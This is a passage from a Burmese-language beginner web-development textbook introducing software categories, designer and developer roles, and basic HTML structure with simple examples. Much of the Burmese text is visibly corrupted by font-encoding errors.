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�ိတ်ဆက်

မင်္ဂ[လာပါ။ ဒီစာအုပ်ဟာ Web Development အကြေeကာင်းကို ဟိုးအကြေgခခံအဆင့်ကကြေနစပြပီး လုပ်ငန်းခွင်ဝင်
အဆင့်ထိ  စ-လယ်-ဆံုး  အကုန်ပါကြေအာင်  ကြေoာ်gပမယ့်  စာအုပ်goစ်ပါတယ်။  ဒါကြေeကာင့်  စာoတ်သူက
ကွန်ပျူတာ  နဲ့  အင်တာနက်ကို  ကြေကာင်းကြေကာင်းသုံးတတ်ယုံက  လဲွရင်  ကြကိုတင်ကြေလ့လာထားတဲ့  အကြေgခခံ
ဗဟုသုတ  လံုးဝမရှိကြေသးသူလုိ့  သကြေyာထားပြပီး  ကြေoာ်gပသွားမှာပါ။  စာကြေရးသူအကြေနနဲ့  အခုလုိ  နည်းပညာ
စာအုပ်ကြေတွကို ကြေရးသားgပုစုကြေနသလုိ သင်တန်းကြေတွ oွင့်ပြပီးကြေတာ့လည်း ပုိခ့ျကြေနတဲ့အတွက် ကြေလ့လာသူများနဲ့
အပြမဲမgပတ်  ထိကြေတွ့မှုရှိထားပါတယ်။  ဒါကြေeကာင့်  ကြေလ့လာစအဆင့်မှာ  ကြေလ့လာသူများ  ကြကံုကြေတွ့ရကြေလ့ရှိတဲ့
အခက်အခဲကြေတွကိုလည်း  ကြေကာင်းကြေကာင်း  သိရှိထားပါတယ်။  ဒီစာအုပ်မှာ  စာကြေရးသူရဲ့  သင်eကားမှု
အကြေတွ့အကြကံုကြေတွကြေပါ်မူတည်ပြပီး  ကြေလ့လာသူများ  ကြေလ့လာစမှာ  ကြကံုကြေတွ့ရကြေလ့ရှိတဲ့  အခက်အခဲကြေတွကို
ကြေကျာ်လွှားပြပီး လွယ်ကူလျှင်gမန်စွာ ကြေလ့လာနိုင်ကြေစမယ့် နည်းလမ်းကြေတွနဲ့ ကြေoာ်gပကြေပးသွားမှာပါ။ ပထမဦးဆံုး
အကြေနနဲ့ နည်းပညာကြေတွအကြေeကာင်း မကြေgပာခင် Web Development ဆိုတာ yာလဲဆိုတာကကြေန စပြပီးကြေတာ့
ကြေgပာချင်ပါတယ်။

ကျွန်ကြေတာ်တို့ကြေလ့လာeကမယ့်  Web  Development    ဆိုတာဟာ    Software  Development    ဆိုတဲ့  
yာသာရပ်ကြကီး ကြေအာက်က yာသာရပ် အခွဲတစ်ခု လုိ့ ဆိုနိုင်ပါတယ်။  Software  ဆိုတဲ့ကြေနရာမှာ  System
Software  နဲ့  Application Software  ဆိုပြပီး နှစ်မျ ို းခွဲလုိ့  ရနိုင်ပါတယ်။  System Software  ဆိုတဲ့အထဲမှာ
အgမင်သာဆံုးကကြေတာ့ ကွန်ပျူတာကြေတွမှာ ထည့်သွင်းအသံုးgပုရတဲ့  Microsoft Windows  လုိ  Operating
System ဟာ System Software  တစ်မျ ို းပါပဲ။  Mobile  oုန်းကြေတွမှာ ထည့်သွင်းအသံုးgပုရတဲ့  Android တို့
iOS တိုလုိ့ Mobile Operating System မျ ို းကြေတွဟာလည်း System Software ကြေတွပါပဲ။
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Application  Software  ဆိုတာကကြေတာ့  အသုံးချကြေဆာ့o်ဝဲ လုိ့  gမန်မာလုိ  ကြေခါ်လုိရ့နိုင်ပါတယ်။  ကိုယ့်
လုပ်ငန်း ကြေဆာင်ရွက်ချက် ပြပီးကြေgမာက်oုိအ့တွက် အသံုးgပုရတဲ့ ကြေဆာ့o်ဝဲမျ ို းပါ။ အ့ဲဒီမှာလည်း  တစ်ကိုယ်ကြေရ
သုံး    Consumer Software    နဲ့    လုပ်ငန်းသုံး    Business Software   ဆိုပြပီးကြေတာ့ ထပ်ခွဲလုိ့  ရနိုင်ပါကြေသးတယ်။
Microsoft Word တို၊့  YouTube တို၊့  Facebook တို၊့  Google Maps တိုလုိ့ ကြေဆာ့o်ဝဲမျ ို းကြေတွဟာ လူတိုင်း
သုံးလုိရ့တဲ့ တစ်ကိုယ်ကြေရသုံး Consumer Software ကြေတွ goစ်eကပါတယ်။ Business Software ကို တစ်ချ ို ့
က Enterprise Software လုိလ့ည်း ကြေခါ်eကပါတယ်။ မျက်စိထဲမှာ gမင်သာကြေအာင် ကြေgပာရရင် စတိုးဆိုင်ကြေတွ၊
စူပါမားကတ်ကြေတွမှာ ကြေငွရှင်းတဲ့အခါ ကြေငွရှင်းကြေကာင်တာက အသံုးgပုတဲ့ ကြေဆာ့o်ဝဲဟာ Business Software
goစ်ပါတယ်။ သက်ဆိုင်ရာလုပ်ငန်းအတွက် အသံုးgပုရတာ goစ်ပြပီးကြေတာ့ ဒီကြေဆာ့o်ဝဲကြေတွဟာ လူတစ်ဦးချင်း
သုံးရတဲ့ ကြေဆာ့o်ဝဲမျ ို းကြေတွ မဟုတ်eကပါyူး။

Software  Development  ဆိုတဲy့ာသာရပ်ကို  ကြေလ့လာတဲ့အခါ၊  အ့ဲဒီကြေဆာ့o်ဝဲအမျ ို းအစား  အားလံုးကို
တစ်ခါထဲ  အကုန်တွဲပြပီး  ကြေလ့လာeကရတာမျ ို း  မဟုတ်ပါyူး။  တူညီတဲ့  အကြေgခခံသကြေyာသyာဝကြေတွရှိကြေပ
မယ့် System Software ကိုအထူးgပုကြေလ့လာမှာလား၊  Consumer Software ကိုအထူးgပုကြေလ့လာမှာလား၊
Business Software  ကိုအထူးgပုကြေလ့လာမှာလား စသည်goင့် ကြေရွးချယ်ပြပီးကြေတာ့မှ စတင်ကြေလ့လာeကရတာ
ပါ။  System Software  yက်ကို  သွားမယ်ဆိုရင်  C/C++  နဲ့  Rust  တိုလုိ့  Programming Language  နဲ့
ဆက်စပ်နည်းပညာမျ ို းကြေတွကို  အထူးgပုကြေလ့လာeကရမှာပါ။  Business  Software  yက်ကို  သွားချင်ရင်
ကြေတာ့ Microsoft .NET နဲ့ Java EE တိုလုိ့ နည်းပညာမျ ို းကြေတွကို အထူးgပု ကြေလ့လာeကရမှာ goစ်ပါတယ်။

Consumer Software yက်ပုိင်းမှာကြေတာ့ ကြေဆာ့o်ဝဲရဲ့ အလုပ်လုပ်တဲ့ပံုစံကြေပါ်မူတည်ပြပီး (၃) မျ ို း ထပ်ခွဲeကပါ
ကြေသးတယ်။ Desktop Software, Web Application   နဲ့    Mobile App   တို့goစ်ပါတယ်။ Desktop Software
ဆိုတာ Windows တို့ Mac တိုလုိ့ ကွန်ပျူတာ Operating System ကြေပါ်မှာ Install လုပ်ထည့်သွင်းအသံုးgပု
လုိရ့တဲ့  Software  အမျ ို းအစားကြေတွပါ။  Microsoft  Windows  အတွက်ဆိုရင်  Microsoft  .NET,  Visual
Studio, Windows API  စတဲ့နည်းပညာကြေတွကို ကြေလ့လာပြပီး oန်တီးeကရမှာ goစ်ပါတယ်။  Mac  အတွက်ဆို
ရင်ကြေတာ့ Swift, XCode, macOS SDK စတဲ့ နည်းပညာကြေတွကို ကြေလ့လာoန်တီးeကရမှာပါ။

ကိုယ့်ရဲ့oုန်းကြေတွ Tablet ကြေတွထဲမှာ Google Play Store တို့ Apple App Store တိုက့ကြေန Download လုပ်
ထည့်သွင်းပြပီး အသုံးeကကြေလ့ရှိတဲ့  Mobile App  ကြေတွ ကြေရးသားoန်တီးလုိရင်ကြေတာ့  Android  အတွက်  Java,
Kotlin, Android Studio, Android SDK တဲ့ နည်းပညာကြေတွကို ကြေလ့လာရမှာပါ။ iPhone လုိ iOS Devices



PWD 2023 – မိတ်ဆက် 10

ကြေတွအတွက်ဆိုရင် Swift, XCode နဲ့ iOS SDK တိုက့ို ကြေလ့လာeကရမှာ goစ်ပါတယ်။ ဒီစာအုပ်ဟာ အ့ဲဒီနည်း
ပညာကြေတွ  အကြေeကာင်းကို  ကြေoာ်gပမယ့်စာအုပ်မဟုတ်လုိ့  အကျယ်မချဲ့ပါyူး။  ကြေလ့လာစသူများ  စတိ်ဝင်စား
သိရှိလုိကြေလ့  ရှိeကတဲ့အတွက်  yယ်လုိကဏ္ဍအတွက်  yယ်လုိနည်းပညာကြေတွ  သုံးကြေလ့ရှိတယ်ဆိုတာ
ဗဟုသုတအကြေနနဲ့ သိရကြေအာင် ထည့်သွင်းကြေoာ်gပထားတာပါ။

အ့ဲဒီလုိအမျ ို းမျ ို းရှိတဲ့ထဲက ဒီစာအုပ်မှာ အထူးgပုကြေoာ်gပမှာကကြေတာ့ Web Application ကြေတွအကြေeကာင်း goစ်
ပါတယ်။ Web Application ဆိုတာဟာ လုိရင်းအနှစ်ချုပ်အားgoင့်  Google Chrome, Firefox, Microsoft
Edge    စတဲ့    Web Browser    ထဲမှာ  အလုပ်လုပ်တဲ့  ကြေဆာ့o်ဝဲကြေတွ   goစ်ပါတယ်။  ဥပမာ  -  facebook.com,
google.com, youtube.com, gmail.com, twitter.com စတဲ့ဝy်ဆိုကက်ြေတွဟာ Web Application ကြေတွ
goစ်eကပါတယ်။ အ့ဲဒီလုိ  Web Application ကြေတွoန်တီးoုိအ့တွက်  HTML, CSS, JavaScript စတဲ့ အကြေgခခံ
နည်းပညာ (၃) ခုကို အထူးgပုကြေလ့လာရပြပီး  PHP, Python, Ruby, Java စတဲ့ goည့်စွက်နည်းပညာကြေတွထဲ
က တစ်ခုခုကို  ပူးတွဲကြေရွးချယ်ပြပီး  ကြေလ့လာeကရပါတယ်။  တgခားဆက်စပ်  နည်းပညာကြေတွလည်း  ရှိပါကြေသး
တယ်။ သူ့ကြေနရာနဲ့သူ ဆက်လက်ကြေoာ်gပသွားမှာပါ။

ဒီလုိမျ ို း Web Application ကြေတွကို ကြေရးသားoန်တီးeကတဲ့ ပညာရှင်များကို  Web Developer လုိ့ ကြေခါ်eကပါ
တယ်။  ဒီကြေနရာမှာ  အကြေခါ်အကြေဝါ်မူကွဲအကြေနနဲ့  Web  Designer  ဆိုတာလည်း  ရိှပါကြေသးတယ်။  ဒီ  Web
Developer  နဲ့  Web Designer  ဆိုတဲ့  အကြေခါ်အကြေဝါ်နှစ်ခဟုာလည်း ကြေရာကြေထွးပြပီး  ကြေလ့လာသူကြေတွ  မျက်စိ
လည်တတ်eကgပန်ပါတယ်။ ဒါကြေeကာင့် ဒီနှစ်မျ ို းရဲ့  ကွဲgပားချက်ကို  ထည့်သွင်းရှင်းgပပါဦးမယ်။ အeကမ်းoျဉ်း
အားgoင့် ဒီလုိပါ။ 

Web Designer   ဆိုတာဟာ ဝy်ဆိုကတ်စ်ခုရဲ့   User   ကြေတွ ကြေတွ့ gမင်ထိကြေတွ့ အသုံးgပုရတဲ့ အသွင်အgပင်ပုိင်း  
ကို  ကြေရးဆွဲoန်တီးရတဲ့  သူကြေတွပါ။ ဒီလုိoန်တီးoုိ့အတွက်  Adobe Photoshop  တို့  Adobe Illustrator  တို့
Sketch တိုလုိ့  Graphic Design ပုိင်းဆိုင်ရာ ကြေဆာ့o်ဝဲကြေတွကို အသုံးgပုတာလည်း goစ်နိုင်ပါတယ်။ Pencil
တို့  Figma  တိုလုိ့  UI  Prototype  နည်းပညာမျ ို းကို  အသံုးgပုတာလည်း  goစ်နိုင်ပါတယ်။  ဒါမှမဟုတ်
HTML/CSS  ကို  သုံးပြပီး oန်တီးတာလည်း goစ်နိုင်ပါကြေသးတယ်။  HTML/CSS  ကို တိုက်ရုိက်သံုးတာမျ ို း goစ်
နိုင်သလုိ၊ Photoshop တို့  Sketch တိုန့ဲ့ ဒီဇုိင်းအရင်ဆွဲပြပီးကြေတာ့မှ အ့ဲဒီ ဒီဇုိင်းကို  HTML/CSS နဲ့  Template
gပန်ကြေgပာင်းတာလည်း goစ်နိုင်ပါတယ်။ ဒီထက်တစ်ဆင့် gမင့်လာတဲ့အခါ JavaScript တို့ jQuery တို့ React
တိုလုိ့ နည်းပညာမျ ို းကြေတွနဲ့ လက်ကြေတွ့အသုံးgပုလုိရ့နိုင်တဲ့ အဆင့်ထိ oန်တီးeကပါတယ်။ တစ်ကြေယာက်နဲတ့စ်



PWD 2023 – မိတ်ဆက် 11

ကြေယာက် သွားတဲ့အဆင့်ကြေတွ မတူeကပါyူး။ တစ်ချ ို ့က gမင်ရတဲ့ ဒီဇုိင်းပုိင်း ဆွဲပြပီးရင် Web Designer တစ်ဦး
ရဲ့လုပ်ငန်း ပြပီဆံုးပြပီလုိ့ သကြေyာထားeကပါတယ်။ တစ်ချ ို ့ကကြေတာ့ gမင်ရယုံနဲ့ မပြပီးကြေသးyူး၊ ပကြေရာင်္ဂျက်ထဲမှာ
လက်ကြေတွ့ထည့် အသံုးချလုိရ့တဲ့ Template ကြေတွ Code ကြေတွထိ တစ်ခါထဲ ကြေရးကြေပးရတယ်လုိ့ သကြေyာထား
eကပါတယ်။ လုိရင်းအနှစ်ချုပ်ကကြေတာ့ သတ်မှတ်ထားတဲ့အဆင့် မတူeကကြေပမယ့်  Web Designer တစ်ဦးရဲ့
အလုပ်က ဝy်ဆိုက်ကြေတွမှာ ကြေတွ့gမင့်ထိကြေတွ့နိုင်တဲ့  အပုိင်းကို  oန်တီးကြေပးgခင်း goစ်ပါတယ်။ တစ်ချ ို ့  Web
Designer ကြေတွက Code ကြေရးနိုင်ပြပီး၊ တစ်ချ ို ့ မကြေရးနိုင်eကပါyူး။  Code ကြေရးနိုင်gခင်း မကြေရးနိုင်gခင်းက Web
Designer ကြေကာင်း ဟုတ်gခင်း၊ မဟုတ်gခင်းနဲ့ မဆိုင်ပါyူး။ တစ်ကြေယာက်နဲတ့စ်ကြေယာက် ချဉ်းကပ်ပံု မတူeက
တာသာ goစ်ပါတယ်။

Web  Developer    ဆိုတာကကြေတာ့  ဝy်ဆိုက်ကြေတွကို  လက်ကြေတွ့အလုပ်လုပ်ပြပီး  အများသံုးလုိရ့ကြေအာင်  
လွှင့်တင်တဲ့အထိ   HTML/CSS Template   ကြေတွ၊   Server-side   နည်းပညာကြေတွ၊   Database   နည်းပညာကြေတွနဲ့  
ကြေပါင်းစပ်ပြပီး oန်တီးကြေရးသားတဲ့ သူကြေတွပါ။ ဒီကြေနရာမှာ Web Designer ကြကိုတင်ကြေရးဆွဲကြေပးထားတဲ့ ဒီဇုိင်းကို
အသုံးgပုပြပီး ဆက်လက်oန်တီးတာgoစ်နိုင်သလုိ၊ ကိုယ်တိုင် ဒီဇုိင်းနဲ့ Template ကြေတွကအစ oန်တီးရတာမျ ို း
လည်း goစ်နိုင်ပါတယ်။ တစ်ချ ို ့  Team ကြေတွမှာ Web Designer နဲ့  Web Developer ကို သူ့တာဝန်နဲ့သူ ခွဲ
ထားပြပီး တစ်ချ ို ့  Team ကြေတွမှာကြေတာ့ ခွဲမထားပါyူး၊  Web Developer  လုိ့ကြေgပာရင် အကုန်တာဝန်ယူeကရ
တာကြေတွလည်း ရှိပါတယ်။ ဒီလုိသီးgခား  Web Designer  မရှိတဲ့  Team ကြေတွကလုပ်တဲ့ ပကြေရာင်္ဂျက်ကြေတွဟာ
ဒီဇုိင်းအသွင်အgပင်  အားနည်းeကကြေလ့ရှိပါတယ်။  yာသာရပ်နှစ်ခုလံုးဟာ  သူ့ဟာနဲသူ့  ကျယ်gပန့်လုိ့
ကြေခါင်းစဉ်တစ်မျ ို းတည်းကြေအာက်မှာ နှစ်ခုလံုးကို ကျွမ်းကျင်ပုိင်နိုင်oုိဆ့ိုတာ ခက်ပါတယ်။ နှစ်ခုလံုးကျွမ်းကျင်
သူ  မရှိyူးမဟုတ်ပါyူး၊  ရှိကြေတာ့ရှိတယ်၊  ရှားတယ်ဆိုတာမျ ို းပါ။  တစ်ချ ို ့  Team  ကြေတွကျကြေတာ့  Web
Designer  လုိ့  ကြေခါင်းစဉ်တပ်ပြပီး ဒီဇုိင်းဆွဲတာကြေရာ လက်ကြေတွ့လွှင့်တင်နိုင်တဲ့  အဆင့်ထိကြေရာ အကုန်တာဝန်
ယူeကရgပန်ပါတယ်။ ဒီလုိအခါမျ ို းမှာ တစ်ချ ို ့ကလည်း အသင့်သံုး Content Management System (CMS)
နည်းပညာကြေတွကို အကြေgခခံပြပီး oန်တီးeကလုိ ့CMS Developer ဆိုတဲ့ကြေခါင်းစဉ်လည်း eကားထဲမှာ ရှိလာgပန်ပါ
တယ်။ ဒါကြေeကာင့် ဒီအကြေခါ်အကြေဝါ်နှစ်ခု ကြေရာကြေထွးကြေနယုံမက တgခား Web Master, Front-end Developer,
Back-end  Developer  စgoင့်  အကြေခါ်အကြေဝါ်ကြေတွနဲလ့ည်း  ကြေရာကြေထွးကြေနပါကြေသးတယ်။  ဒါကြေတွကြေeကာင့်
ကြေခါင်းရှုပ်သွားရင် စိတ်မပူပါနဲ၊့ စာoတ်သူမှမဟုတ်ပါyူး၊ yယ်သူမှ ရှင်းလင်းတဲ့ အဓိပ္ပါယ်oွင့်ဆိုချက်ကို မ
သိeကတာပါ။ တစ်ကြေယာက်ကိုကြေမးရင် တစ်မျ ို းကြေgပာeကပါလိမ့်မယ်။
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အကျဉ်းချုပ်ကို  ဒီလုိမှတ်နိုင်ပါတယ်။  Web  Designer    ဆိုတာ    User    ကြေတွ့gမင်ထိကြေတွ့ရတဲ့  အသွင်အgပင်  
ဒီဇုိင်း  ကြေရးဆွဲoန်တီးသူgoစ်ပြပီး၊    Web  Developer    ဆိုတာကကြေတာ့  အ့ဲဒီ  ဒီဇုိင်းကို  အသံုးgပုပြပီး  လက်ကြေတွ့  
လွှင့်တင်လုိရ့တဲ့ ဝy်ဆိုက်ကြေတွ oန်တီးသူgoစ်တယ် လုိ ့မှတ်နိုင်ပါတယ်။

တစ်ကယ်ကြေတာ့  Web  Development  ဆိုတဲ့ကြေခါင်းစဉ်ကြေအာက်မှာ  Front-end,  Back-end,  Full-stack
စသည်goင့် အမျ ို းမျ ို း ရှိeကပါကြေသးတယ်။ ဒီစာအုပ်မှာ အားလံုး  (အားလုံး) ကို ထည့်သွင်း ကြေoာ်gပသွားမှာပါ။
ဒါကြေeကာင့်  ဒီအကြေခါ်အကြေဝါ်ကြေတွအကြေeကာင်းကို  အကြေပါ်ယံသကြေyာ  ကြကိုမရှင်းကြေတာ့ပါyူး။  အကြေသးစိတ်
ဆက်လက်ကြေလ့လာ သွားမှာမုိလုိ့ပ့ါ။ 

လက်ကြေတွ့လုပ်ငန်းခွင်ထဲ ကြေရာက်တဲ့အခါ Front-end, Back-end စသည်goင့် ကိုယ်ပုိဝါသနာပါတဲ့ အပုိင်းကို
ကြေရွးမယ်ဆို ကြေရးွလုိရ့နိုင်ပါတယ်။ ဒါကြေပမယ့် ကြေလ့လာတဲ့အခါမှာကြေတာ့ အားလုံးကို ကြေလ့လာoုိ ့လုိအပ်ပါတယ်။
Front-end သီးသန့်လုပ်ချင်ပါတယ် ဆိုရင်ကြေတာင် Back-end အကြေeကာင်းကိုလည်း တီးမိကြေခါက်မိ သိထားမှ
လုပ်ငန်းခွင်မှာ အဆင်ကြေgပမှာပါ။  Back-end  ပဲ  သီးသန့်လုပ်ချင်တယ်ဆိုရင်လည်း  Front-end  အကြေeကာင်း
တီးမိကြေခါက်မိ  သိထားမှ  အဆင်ကြေgပမှာပါ။  ဒါကြေeကာင့်  ကြေလ့လာတဲ့အခါမှာ  အားလံုးကို  တစ်ခါထဲတွဲoက်
ကြေလ့လာထားမှ ကြေလ့လာသူအတွက် ကြေရရှည်အကျ ို းရှိမှာ goစ်ပါတယ်။

ကြေနာက်ပုိင်းမှာ yယ်yာသာရပ်ကို အထူးgပု ကြေရွးချယ်သည် goစ်ကြေစ၊ Web Development လုိ့ကြေgပာလုိက်တာ
နဲ့  ကြေလ့လာသူတိုင်း မgoစ်မကြေန အစgပု ကြေလ့လာeကရမှာကကြေတာ့  HTML, CSS  နဲ့  JavaScript  တိုပဲ့  goစ်ပါ
တယ်။ ကဲ စလုိက်eကရကြေအာင်။ 



အပိုင်း (၁)
HTML, CSS
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အခန်း (၁) - HTML

Markup Language
HTML  ဟာ  Markup  Language  တစ်ခုgoစ်ပါတယ်။  သူနာမည်  အgပည့်အစံုက  Hypertext  Markup
Language  ပါ။  Markup  Language  ဆိုတာကို  ဒီလုိမှတ်ပါ။  ကွန်ပျူတာက  နားလည်အလုပ်လုပ်နိုင်တဲ့
Content Structure   တည်ကြေဆာက်ရကြေသာ နည်းပညာgoစ်ပါတယ်  ။ အgခားကြေသာ Markup Language ကြေတွ
ရှိပါကြေသးတယ်။  XML, YAML, Markdown စသည်goင့်ပါ။  Language  မတူလုိ့ ကြေရးသားပုံကြေတွ မတူကြေပမယ့်
Markup Language အားလုံးရဲ့ ရည်ရွယ်ချက်က အတူတူပါပဲ။ ကွန်ပျူတာက နားလည် အလုပ်လုပ်နိုင်တဲ့
Content Structure တည်ကြေဆာက်oုိ့ပဲ goစ်ပါတယ်။ ဥပမာ - ဒီစာကြေလးကို ကြေလ့လာeကည့်ပါ။

 Plain Text 

HTML goစ်ကြေပါ်လာပုံ

HTML ကို Tim Berners-Lee အမည်ရ ကွန်ပျူတာသိပ္ပံပညာရှင်က ၁၉၉၁ ခုနှစ်တွင် WorldWideWeb 
နည်းပညာ၏ အစိတ်အပုိင်းတစ်ရပ်အgoစ် ချgပခဲ့gခင်းgoစ်သည်။ ၄င်း WorldWideWeb နည်းပညာကို 
လက်ကြေတွ့ စမ်းသပ်နိုင်ရန် ကြေအာက်ပါတိုက့ိုလည်း ပူးတွဲတီထွင်ခဲ့သည်။

Web Browser
HTTP Server 

ဒီစာကိုလူတစ်ကြေယာက် oတ်eကည့်ရင် yယ်ဟာက ကြေခါင်းစဉ်၊ yယ်ဟာက စာကိုယ်၊ yယ်ဟာက စာရင်း
စသgoင့် အလုိလုိ သိပါတယ်။ yာကိုeကည့်ပြပီး သိတာလဲဆိုကြေတာ့ ကြေရးထားတဲ့ စာမှာပါတဲ့ အကြေeကာင်းအရာ
ကို  oတ်eကည့်ပြပီး  သိတာပါ။  ကွန်ပျူတာကကြေတာ့ လူတစ်ကြေယာက်လုိ  အ့ဲဒီစာကို  oတ်ရှုသိရှိနိုင်စွမ်း  ရိှမှာ
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မဟုတ်ပါyူး။  အခုကြေနာက်ပုိင်း  AI  နည်းပညာကြေတွ  ကြေပါ်လာလုိ့  သိရှိနိုင်စွမ်း  ရှိလာကြေပမယ့် ဒါကြေတွကအခုမှ
အစပဲရှိပါကြေသးတယ်။ ပါတဲ့အကြေeကာင်းအရာကို eကည့်ပြပီးကြေတာ့ ကြေခါင်းစဉ်လား၊ စာကိုယ်လား၊ စာရင်းလား ခွဲ
နိုင်မှာ မဟုတ်ပါyူး။ အ့ဲဒါကို  ခွဲနိုင်ကြေအာင် အမှတ်အသား လုပ်ကြေပးတဲ့  နည်းပညာကို  Markup Language
လုိ့ကြေခါ်တာပါ။ ဒီစာကိုပဲ HTML နဲ့ ကြေရးမယ်ဆိုရင် အခုလုိ ကြေရးကြေပးရမှာပါ။

 HTML 

<h1>HTML goစ်ကြေပါ်လာပုံ</h1>

<p>

HTML ကို Tim Berners-Lee အမည်ရကွန်ပျူတာသိပ္ပံပညာရှင်က ၁၉၉၁ ခုနှစ်တွင် 
WorldWideWeb နည်းပညာ၏ အစိတ်အပုိင်းတစ်ရပ်အgoစ် ချgပခဲ့gခင်းgoစ်သည်။ ၄င်း 
WorldWideWeb နည်းပညာကို လက်ကြေတွ့စမ်းသပ်နုိင်ရန် ကြေအာက်ပါတုိ့ကို ပူးတဲွတီထွင်ခဲ့သည်။
</p>

<ul>
<li>Web Browser</li>
<li>HTTP Server</li>

</ul> 

HTML က သတ်မှတ်ထားပါတယ်၊ <h1> ဆိုတဲ့အမှတ်အသားနဲ့ </h1> ဆိုတဲ့အမှတ်အသား eကားထဲမှာ ရှိ
တဲ့  အကြေeကာင်းအရာကို  ကြေခါင်းစီးအဆင့်  (၁)  လုိ့  မှတ်ယူရမယ်  တဲ့။  ဒါကိုကြေရးသားသူ  ကျွန်ကြေတာ်တိုက့
နားလည်သိရှိလုိ့  ကြေရးကြေပးလုိက်သလုိ၊  HTML ကို  နားလည်တဲ့  ကွန်ပျူတာစနစ်ကြေတွလည်း  သိနိုင်သွားပါပြပီ။
yာကြေရးထားလည်း oတ်တတ်စရာမလုိyဲနဲ့  <h1> အမှတ်အသားနဲ့  </h1> အမှတ်အသားeကားထဲကဟာ
ကို ကြေခါင်းစီးအဆင့် (၁) မှန်း သိနိုင်သွားပါပြပီ။ HTML ကို နားလည်တဲ့ ကွန်ပျူတာစနစ်လုိ့ ကြေgပာလုိက်တာကို
သတိgပုပါ။  HTML  ကိုနားမလည်တဲ့  ကွန်ပျူတာ စနစ်ကြေတွလည်း ရှိနိုင်တာပါပဲ။  HTML  ကို  နားလည်တဲ့
ကွန်ပျူတာစနစ်ကြေတွထဲမှာ အဓိကအကျဆံုးကကြေတာ့ ကျွန်ကြေတာ်တို့ကြေတွ ကြေနစ့ဉ် အင်တာနက်သံုးoုိ့ အသံုးgပု
ကြေနeကတဲ့  Google Chrome, Mozilla Firefox, Microsoft Edge  စတဲ့  Web Browser  ကြေတွပါပဲ။ ဒီ  Web
Browser ကြေတွက HTML ကိုနားလည်eကပါတယ်။ ဒါကြေeကာင့်  HTML အမှတ်အသားကြေတွကိုသုံးပြပီး ကြေရးထား
တဲ့ Document ကို အမှတ်အသား သတ်မှတ်ချက်နဲအ့ညီ ကြေoာ်gပအလုပ်လုပ် ကြေပးနိုင်eကပါတယ်။
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Basic Structure & Elements
အထက်မှာကြေပးခဲ့တဲ့ နမူနာကို gပည့်စံုကြေအာင် ကြေရးမယ်ဆိုရင် ဒီလုိကြေရးကြေပးရမှာပါ။

 HTML 

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">

    <title>HTML ဆုိသည်မှာ</title>
</head>
<body>

    <h1>HTML goစ်ကြေပါ်လာပုံ</h1>

    <p>

    HTML ကုိ Tim Berners-Lee အမည်ရကွန်ပျူတာသိပ္ပံပညာရှင်က ၁၉၉၁ ခုနှစ်
တွင် WorldWideWeb နည်းပညာ၏ အစိတ်အပုိင်းတစ်ရပ်အgoစ် ချgပခဲ့gခင်း
goစ်သည်။ ၄င်း WorldWideWeb နည်းပညာကို လက်ကြေတွ့စမ်းသပ် နုိင်ရန် 
ကြေအာက်ပါတုိ့ကို ပူးတဲွတီထွင်ခဲ့သည်။

    </p>

    <ul>
    <li>Web Browser</li>
    <li>HTTP Server</li>
    </ul>
    
    <p>

    HTML နှင့် ဆက်စပ်နည်းပညာများမှာ ကြေအာက်ပါအတုိင်းgoစ်ပါသည်။
    </p>
    
    <ol>
    <li>HTTP</li>
    <li>CSS</li>
    </ol>
</body>
</html>
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ဒီကုဒ်ကို ကိုယ်တိုင်လည်း ကူးကြေရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။ နှစ်သက်ရာ Code Editor ကိုသုံးပြပီး ကြေရးလုိရ့
ပါတယ်။ လက်ရှိမှာ VS Code ကကြေတာ့ လူကြကိုက်အများဆံုး Code Editor goစ်ကြေနလုိ့ ဒီမှာ Download ရယူ
ပြပီး ထည့်သွင်းထားနိုင်ပါတယ်။

- https://code.visualstudio.com

နမူနာကုဒ်ကြေတွကို ကူးကြေရးပြပီးရင် ရလဒ်ကို Chrome, Firefox စသgoင့် နှစ်သက်ရာ Web Browser နဲ့oွင့်ပြပီး
စမ်းeကည့်လုိရ့ပါတယ်။ 

ဒီစာအုပ်မှာ ကြေရးgပသမျှ ကုဒ်အတိုအစကြေလးကအစ အကုန်လံုးကို  လုိက်စမ်းeကည့်oုိ့ တိုက်တွန်းပါတယ်။ ဒီ
ကြေတာ့မှ တစ်ခါထဲgမင်ပြပီး တစ်ခါထဲရသွားမှာပါ။ ဒီလုိစမ်းeကည့်တဲ့အခါ အgမန်ဆံုးနည်းကကြေတာ့  Code Pen
လုိ နည်းပညာမျ ို းကို အသံုးgပုgခင်းပါပဲ။ ကုဒ်ချက်gခင်းကြေရးပြပီး ရလဒ်ချက်gခင်းgမင်ရလုိ့ အကြေတာ် အဆင်ကြေgပပါ
တယ်။ ကြေရးလုိက်၊ သိမ်းလုိက်၊  Browser  နဲ့ gပန်oွင့်eကည့်လုိက် လုပ်ကြေနစရာ မလုိကြေတာ့ပါyူး။ အွန်လုိင်းက
ကြေန တိုက်ရုိက်ကြေရးစမ်းတာမုိ့လုိ့ အင်တာနက်အဆက်အသွယ်ရှိoုိက့ြေတာ့ လုိပါတယ်။ ဒီမှာကြေရးရမှာပါ။

- https://codepen.io/pen

https://codepen.io/pen
https://code.visualstudio.com/
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ပုံမှာကြေoာ်gပထားတာကကြေတာ့  Code  Pen  ကိုသုံးပြပီးကြေရးထားတဲ့ကုဒ်နဲ့  ယှဉ်တွဲကြေoာ်gပထားတဲ့  ရလဒ်goစ်ပါ
တယ်။ ရလဒ်အကြေနနဲ့ ကြေရးထားတဲ့ HTML ကြေပါ်မူတည်ပြပီး သင့်ကြေတာ်တဲ့အသွင်အgပင်နဲ့ကြေoာ်gပကြေနတဲ့ Content
ကို  ကြေတွ့gမင်ရgခင်းgoစ်ပါတယ်။ ကုဒ်ကြေတွကြေရးတဲ့အခါ နမူနာမှာ ကြေရးgပသလုိ  Indent  ကြေလးကြေတွ  မှန်ကြေအာင်
ကြေရးသင့်ပါတယ်။  Indent  ဆိုတာ တစ်ခုခုရဲ့  အတွင်းထဲမှာရှိတဲ့  အကြေeကာင်းအရာကို  အတွင်းထဲမှာ  ရှိမှန်း
သိသာ gမင်သာကြေအာင် Tab ကြေလး တွန်းပြပီး ကြေရးထားတာကို ကြေgပာတာပါ။ ဒီလုိပါ -

 HTML 

<body>
<ul>

<li>Web Browser<li>
<li>HTTP Server</li>

</ul>
</body>

ဒီလုိကြေရးထားတဲ့အတွက် <ul> က <body> အတွင်းမှာရှိပြပီး <li> Element ကြေတွဟာ <ul> ရဲ့ အတွင်း
